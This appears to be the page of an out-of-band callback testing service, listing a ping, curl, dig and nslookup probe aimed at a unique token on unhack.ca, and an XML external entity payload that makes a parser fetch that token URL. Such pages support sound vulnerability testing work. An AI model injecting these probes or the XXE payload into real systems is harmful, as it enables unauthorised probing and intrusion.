$ ping -c1 -p 00d383151126c229a90faa533265cc00 unhack.ca
 
$ curl http://unhack.ca/p/d383151126c229a90faa533265cc
 
$ dig d383151126c229a90faa533265cc @unhack.ca
 
$ dig d383151126c229a90faa533265cc.ns.unhack.ca
 
C:\> nslookup d383151126c229a90faa533265cc unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d383151126c229a90faa533265cc">]>
    <foo>&xxe;</foo>
Waiting for ping...